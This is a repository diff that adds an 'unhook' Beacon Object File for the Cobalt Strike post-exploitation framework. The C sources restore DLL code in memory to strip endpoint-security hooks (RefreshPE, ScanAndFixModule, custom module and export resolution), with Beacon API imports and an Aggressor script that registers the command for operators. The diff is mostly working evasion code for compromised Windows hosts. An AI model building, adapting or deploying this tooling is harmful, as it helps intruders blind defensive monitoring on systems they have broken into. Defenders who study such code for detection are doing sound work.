if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
|
||||
{
|
||||
wsRedir = GetRedirectedName(wszOriginalModule, wszDllName, &stRedirName);
|
||||
if (wsRedir)
|
||||
{
|
||||
// Free the original buffer and allocate a new one for the redirected dll name
|
||||
free(wszDllName);
|
||||
|
||||
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
|
||||
if (wszDllName == NULL)
|
||||
break;
|
||||
|
||||
__movsb((PBYTE)wszDllName, (PBYTE)wsRedir, stRedirName * sizeof(WCHAR));
|
||||
}
|
||||
}
|
||||
|
||||
hFwdModule = KERNEL32$GetModuleHandleW(wszDllName);
|
||||
fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, wszDllName);
|
||||
free(wszDllName);
|
||||
}
|
||||
else
|
||||
{
|
||||
// calculate the virtual address for the function
|
||||
fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA);
|
||||
}
|
||||
|
||||
// finish...
|
||||
break;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
return fpResult;
|
||||
}
|
||||
Executable
+19
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define OUTPUTDBGA(str) OutputDebugStringA(str);
|
||||
#define OUTPUTDBGW(str) OutputDebugStringW(str);
|
||||
#else
|
||||
#define OUTPUTDBGA(str)
|
||||
#define OUTPUTDBGW(str)
|
||||
#endif
|
||||
|
||||
void RefreshPE(void * out);
|
||||
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase);
|
||||
HMODULE CustomGetModuleHandleW(const PWSTR wszModule);
|
||||
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule);
|
||||
VOID ScanAndFixModule(void * out, PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName);
|
||||
VOID ScanAndFixSection(void * out, PWCHAR wszBaseDllName, PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength);
|
||||
Executable
+23
@@ -0,0 +1,23 @@
|
||||
#include "apisetmap.c"
|
||||
#include "refresh.c"
|
||||
#include "unhook.h"
|
||||
|
||||
void go() {
|
||||
formatp buffer;
|
||||
char *out;
|
||||
int size;
|
||||
|
||||
BeaconFormatAlloc(&buffer, 64 * 1024);
|
||||
|
||||
RefreshPE(&buffer);
|
||||
|
||||
/* we're done... I guess */
|
||||
BeaconFormatPrintf(&buffer, "Unhook is done.\n");
|
||||
|
||||
/* post our output */
|
||||
out = BeaconFormatToString(&buffer, &size);
|
||||
BeaconOutput(CALLBACK_OUTPUT, out, size);
|
||||
|
||||
/* clean up */
|
||||
BeaconFormatFree(&buffer);
|
||||
}
|
||||
Executable
+35
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
#pragma intrinsic(strcmp)
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingW(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCWSTR);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetModuleHandleW(LPCWSTR);
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW(LPCWSTR);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$OutputDebugStringA(LPCSTR lpOutputString);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile(LPCVOID);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2,size_t _MaxCount);
|
||||
DECLSPEC_IMPORT void * __cdecl MSVCRT$calloc(size_t _NumOfElements,size_t _SizeOfElements);
|
||||
DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *_Memory);
|
||||
DECLSPEC_IMPORT errno_t __cdecl MSVCRT$mbstowcs_s(size_t *_PtNumOfCharConverted,wchar_t *_DstBuf,size_t _SizeInWords,const char *_SrcBuf,size_t _MaxCount);
|
||||
DECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);
|
||||
DECLSPEC_IMPORT size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount);
|
||||
DECLSPEC_IMPORT char * __cdecl MSVCRT$strstr(const char *_Str,const char *_SubStr);
|
||||
DECLSPEC_IMPORT int __cdecl MSVCRT$vsprintf_s(char *buffer, size_t numberOfElements, const char *format, ...);
|
||||
|
||||
#define _wcsnicmp MSVCRT$_wcsnicmp
|
||||
#define calloc MSVCRT$calloc
|
||||
#define free MSVCRT$free
|
||||
#define mbstowcs_s MSVCRT$mbstowcs_s
|
||||
#define memcmp MSVCRT$memcmp
|
||||
#define strnlen MSVCRT$strnlen
|
||||
#define strstr MSVCRT$strstr
|
||||
#define vsprintf_s MSVCRT$vsprintf_s
|
||||
|
||||
//void dprintf(char * fmt, ...);
|
||||
#define dprintf //
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
alias unhook {
|
||||
local('$barch $handle $data');
|
||||
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("unhook. $+ $barch $+ .o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
btask($1, "Running unhook");
|
||||
|
||||
# run it..
|
||||
beacon_inline_execute($1, $data, "go", $null);
|
||||
}
|
||||
|
||||
beacon_command_register(
|
||||
"unhook",
|
||||
"remove hooks from DLLs in this process",
|
||||
"Synopsis: unhook\n\nAttempt to remove hooks.");
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Reference in New Issue
Block a user